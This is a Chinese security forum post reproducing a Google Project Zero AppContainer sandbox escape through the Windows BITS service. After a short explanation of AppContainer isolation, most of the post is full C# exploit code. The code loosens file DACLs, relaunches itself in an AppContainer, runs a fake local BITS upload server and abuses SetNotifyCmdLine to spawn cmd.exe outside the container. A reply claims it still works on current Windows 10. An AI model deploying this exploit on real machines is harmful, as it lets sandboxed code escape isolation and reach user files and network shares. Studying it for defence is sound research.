首页
社区
课程
招聘
[原创]关于谷歌P0的AppContainer逃逸的一种简单的复现
2021-4-4 19:50 10164

[原创]关于谷歌P0的AppContainer逃逸的一种简单的复现

2021-4-4 19:50
10164

简要概述

本文主要讨论谷歌P0文章中提到的Background Intelligent Transfer Service (BITS)服务的关于AppContainer逃逸的一种简单的复现.

简要分析

关于AppContainer隔离机制的的介绍可以参考相关引用节的相关文章,这里不再赘述,,AppContainer进程属于对低完整性进程在PackageSid、Capabilities等更高粒度层面上实现的隔离,具有更加有限的功能.AppContainer不具有访问用户文件,有限的网络通信,和SMB共享访问等功能.常见的AppContainer capability可以在这里找到相关文档说明,谷歌的NtApiDotNet项目项目也为我们提供的常见的已知SID.
图1
图2
使用Process Hacker工具在图中可以看到AppContainer进程被赋予了指定的PackageSid和Capabilities SID的低完整性进程,windos也正是使用这些安全描述符(SD,下同)里的DACL(discretionaryaccess control list)来控制用户和用户组的访问权限。在这里我们可以利用记事本来进行尝试。 图3 经过测试,记事本的运行过程似乎没有问题。但是,如果我们尝试使用记事本的文件 ->打开菜单,来打开其他文件(几乎是任何文件),我们会发现记事本无法访问常用的位置(例如:我的文档或我的图片)。这是因为该进程正在以低完整性级别来运行,而文件默认为中完整性级别。
进程管理器(Process Explorer)中的 "AppContainer",使用的是低完整性级别。
如果我们希望记事本能够访问用户的文件(例如:文档和图片),那么就必须在这些对象中设置明确的权限,允许访问 AppContainer PackageSid。要使用的函数包括 SetNamedSecurityInfo,关于完整代码请参阅GitHub项目.同样可以看到访问SMB共享和查询基本服务信息也被拒绝. 图4

运行效果

在AppContainer进程中调用BITS服务的IBackgroundCopyJob::SetNotifyCmdLine
API会在完成上载或下载任务以后impersonate(模拟)调用方token并创建一个新进程,由于AppContainer进程不具有对本地文件进行写入的功能,所以只能使用上载模式,这里只需要赋予AppContainer进程CapabilityPicturesLibrary权限为了保证兼容性起见使用通用的windowscalculator的PackageSid,即可读取用户图片文件夹的文件作为上传文件,在一个任意的远程监听http服务模拟伪造的BITS服务上传服务,在文件成功上传后(实际上并没有真实的文件操作)既可触发回调.这里(BITS)服务并没有创建一个完全相同隔离等级的AppContainer进程作为回调,而是当调用方为AppContainer进程时新进程剥离了AppContainer的限制,转换为一个完全可控的低完整性进程(移除了PackageSid等),从而实现了有限的AppContainer逃逸.新进程已经可以创建子进程,读取本地文件,和访问SMB等低完整用户进程具有权限. 图5 图6 图7

相关代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
using System;
using System.Collections.Generic;
using System.Diagnostics.CodeAnalysis;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using AppContainerBypass;
using NtApiDotNet;
using NtApiDotNet.Win32;
 
namespace AppContainerBypass
{
 
    class Program
    {
        static volatile ManualResetEvent me=new ManualResetEvent(false);
        static bool IsInAppContainer()
        {
            using (var token = NtToken.OpenProcessToken())
            {
                return token.AppContainer;
            }
        }
 
        static void UpdateSecurity(string path)
        {
            var sd = new NtApiDotNet.SecurityDescriptor("D:AI(A;;FA;;;WD)(A;;FA;;;AC)");
            using (var file = NtFile.Open(NtFileUtils.DosFileNameToNt(path), null, FileAccessRights.WriteDac))
            {
                file.SetSecurityDescriptor(sd, NtApiDotNet.SecurityInformation.Dacl);
            }
        }
 
        static void FixSecurity(string dir)
        {
 
            UpdateSecurity(dir);
            foreach (var file in Directory.GetFiles(dir))
            {
                UpdateSecurity(file);
            }
        }
        static string cmdExe = @"C:\Windows\System32\cmd.exe";
        static string mainExe = typeof(Program).Assembly.Location;
 
        static bool RestartInAppContainer(string[] args)
        {
            string FakeFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.MyPictures), "1.txt");
            if (!File.Exists(FakeFile))
            {
                File.WriteAllText(FakeFile,"fake");
 
            }
            FixSecurity(Path.GetDirectoryName(typeof(Program).Assembly.Location));
            FixSecurity(Environment.GetFolderPath(Environment.SpecialFolder.MyPictures));
 
 
            List<Sid> caps = new List<Sid>
                {
 
                    KnownSids.CapabilityInternetClient,
                    KnownSids.CapabilityInternetClientServer,
                    KnownSids.CapabilityPrivateNetworkClientServer,
                    KnownSids.CapabilityPicturesLibrary
 
                };
 
 
            Win32ProcessConfig config = new Win32ProcessConfig
            {
                CreationFlags = CreateProcessFlags.NewConsole,
                CurrentDirectory = Environment.GetFolderPath(Environment.SpecialFolder.MyPictures),
                ApplicationName = mainExe,
                CommandLine = mainExe + " " + FakeFile
 
 
 
            };
            config.SetAppContainerSidFromName("microsoft.windowscalculator_8wekyb3d8bbwe");
 
            config.Capabilities.AddRange(caps);
 
            using (var p = Win32Process.CreateProcess(config))
            {
                p.Process.Wait();
            }
            return true;
 
        }
 
 
        private static void Process_CANCEL_SESSION(HttpListenerContext context)
        {
            Guid SessionId = Guid.Parse(context.Request.Headers["BITS-Session-Id"].ToString());
            context.Response.Headers["BITS-Packet-Type"] = "Ack";
            context.Response.ContentLength64 = 0;
            context.Response.Headers["BITS-Session-Id"] = SessionId.ToString();
        }
 
        private static void Process_PING(HttpListenerContext context)
        {
            context.Response.Headers["BITS-Packet-Type"] = "Ack";
            context.Response.Headers["BITS-Error-Code"] = "1";
            context.Response.Headers["BITS-Error-Context"] = "";
            context.Response.ContentLength64 = 0;
        }
 
        private static void Process_CLOSE_SESSION(HttpListenerContext context)
        {
            Guid SessionId = Guid.Parse(context.Request.Headers["BITS-Session-Id"].ToString());
            context.Response.Headers["BITS-Packet-Type"] = "Ack";
            context.Response.ContentLength64 = 0;
            context.Response.Headers["BITS-Session-Id"] = SessionId.ToString();
        }
        private static void Process_FRAGMENT(HttpListenerContext context)
        {
 
 
            Guid SessionId = Guid.Parse(context.Request.Headers["BITS-Session-Id"].ToString());
            //string ContentName = context.Request.Headers["Content-Name"].ToString();
            string ContentRange = context.Request.Headers["Content-Range"].ToString();
            List<string> ContentRangeList = ContentRange.Split(new string[] { "/" }, StringSplitOptions.RemoveEmptyEntries).ToList();
            List<string> crange = ContentRangeList[0].Split(new string[] { "-" }, StringSplitOptions.RemoveEmptyEntries).ToList();
            string total_length = ContentRangeList[1];
            string range_start = crange[0];
            string range_end = crange[1];
            Console.Write("Process Process_FRAGMENT:range_start:" + range_start + ",range_end:" + range_end + ",total_length:" + total_length + Environment.NewLine);
            context.Response.Headers["BITS-Packet-Type"] = "Ack";
            context.Response.ContentLength64 = 0;
            context.Response.Headers["BITS-Session-Id"] = SessionId.ToString();
            context.Response.Headers["BITS-Received-Content-Range"] = (int.Parse(range_end) + 1).ToString();
        }
        private static void Process_CREATE_SESSION(HttpListenerContext context)
        {
            string supported_protocols = "{7df0354d-249b-430f-820d-3d2a9bef4931}";
            List<string> BITSSupportedProtocolsList = context.Request.Headers["BITS-Supported-Protocols"].Split(new string[] { " " }, StringSplitOptions.RemoveEmptyEntries).ToList();
            if (BITSSupportedProtocolsList.Contains(supported_protocols))
            {
                Guid SessionId = Guid.NewGuid();
                context.Response.ContentLength64 = 0;
                context.Response.Headers["BITS-Protocol"] = supported_protocols;
                context.Response.Headers["BITS-Packet-Type"] = "Ack";
                context.Response.Headers["BITS-Session-Id"] = SessionId.ToString();
            }
        }
 
        private static void Process_BITS_POST(HttpListenerContext context)
        {
            try
            {
 
 
                if (context.Request.Headers["BITS-Packet-Type"] != null)
                {
                    string BITSPacketType = context.Request.Headers["BITS-Packet-Type"].ToString().ToUpper();
                    Console.Write("Process BITSPacketType:" + BITSPacketType + Environment.NewLine);
                    switch (BITSPacketType)
                    {
                        case "CREATE-SESSION":
                            {
 
                                Process_CREATE_SESSION(context);
 
                                break;
                            }
                        case "FRAGMENT":
                            {
                                Process_FRAGMENT(context);
                                break;
                            }
                        case "CLOSE-SESSION":
                            {
                                Process_CLOSE_SESSION(context);
                                break;
                            }
                        case "CANCEL-SESSION":
                            {
                                Process_CANCEL_SESSION(context);
 
                                break;
                            }
                        case "PING":
                            {
                                Process_PING(context);
                                break;
                            }
                        default:
                            {
 
                                break;
                            }
                    }
 
                    context.Response.StatusCode = 200;
                    context.Response.Close();
 
                }
            }
            catch (Exception e)
            {
                context.Response.StatusCode = 500;
                context.Response.Headers["BITS-Error-Code"] = "1";
                context.Response.Close();
                Console.WriteLine(e);
 
            }
 
        }
 
 
        private static void StartBitsServer()
        {
            try
            {
 
 
            using (HttpListener listener = new HttpListener())
            {
                listener.Prefixes.Add("http://localhost:5686/");
                listener.Start();
                Console.Write("StartBitsServer"+Environment.NewLine);
                me.Set();
 
                while (true)
                {
                    HttpListenerContext context = listener.GetContext();
 
                    Console.Write("Process Method:" + context.Request.HttpMethod.ToUpper() + Environment.NewLine);
                    switch (context.Request.HttpMethod.ToUpper())
                    {
                        case "BITS_POST":
                            {
                                Process_BITS_POST(context);
                                break;
                            }
                        default:
                            {
                                break;
                            }
                    }
                }
                }
            }
            catch (Exception e)
            {
                Console.WriteLine(e);
                throw;
            }
        }
 
        static void Main(string[] args)
        {
            try
            {
 
 
 
                if (IsInAppContainer())
                {
                    RunBtsJob(args[0]);
                }
                else
                {
                    Task.Factory.StartNew(() =>
                    {
                        StartBitsServer();
                    });
                    me.WaitOne();
                    RestartInAppContainer(args.ToArray());
 
                }
            }
            catch (Exception e)
            {
                Console.WriteLine(e);
                throw;
            }
        }
 
        private static void RunBtsJob(string file)
        {
            IBackgroundCopyManager mgr = new BackgroundCopyManager() as IBackgroundCopyManager;
            Guid jobGuid;
            IBackgroundCopyJob job1;
            mgr.CreateJob("fake", BG_JOB_TYPE.BG_JOB_TYPE_UPLOAD, out jobGuid, out job1);
            IBackgroundCopyJob2 job = job1 as IBackgroundCopyJob2;
            job.SetNotifyCmdLine(cmdExe, cmdExe);
            job.SetNotifyFlags(BG_JOB_NOTIFICATION_TYPE.BG_NOTIFY_JOB_TRANSFERRED);
            job.AddFile("http://localhost:5686/fake.png", file);
            job.Resume();
            BG_JOB_STATE stat = BG_JOB_STATE.BG_JOB_STATE_QUEUED;
            while (stat != BG_JOB_STATE.BG_JOB_STATE_TRANSFERRED)
            {
                Thread.Sleep(1000);
                job.GetState(out stat);
            }
            job.Complete();
            Console.Write("Success");
        }
    }
}

相关引用

谷歌P0文章

 

谷歌P0文章翻译

 

Windows AppContainer 降权,隔离与安全

 

隔离机制AppContainer

 

Windows下如何创建低权限进程

 

腾讯反病毒实验室:深度解析AppContainer工作机制

 

如何在Windows AppCotainer中创建进程

 

SetNotifyCmdLine接口介绍

 

AppContainer capability

 

BITS服务上传接口

相关项目

poc


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
点赞2
打赏
分享
最新回复 (2)
雪    币: 12050
活跃值: (15369)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
pureGavin 2 2021-4-4 19:53
2
0
感谢分享
雪    币: 8204
活跃值: (5894)
能力值: ( LV12,RANK:430 )
在线值:
发帖
回帖
粉丝
王cb 8 2021-8-7 12:28
3
0
这个利用仍可在最新版win10上复现
游客
登录 | 注册 方可回帖
返回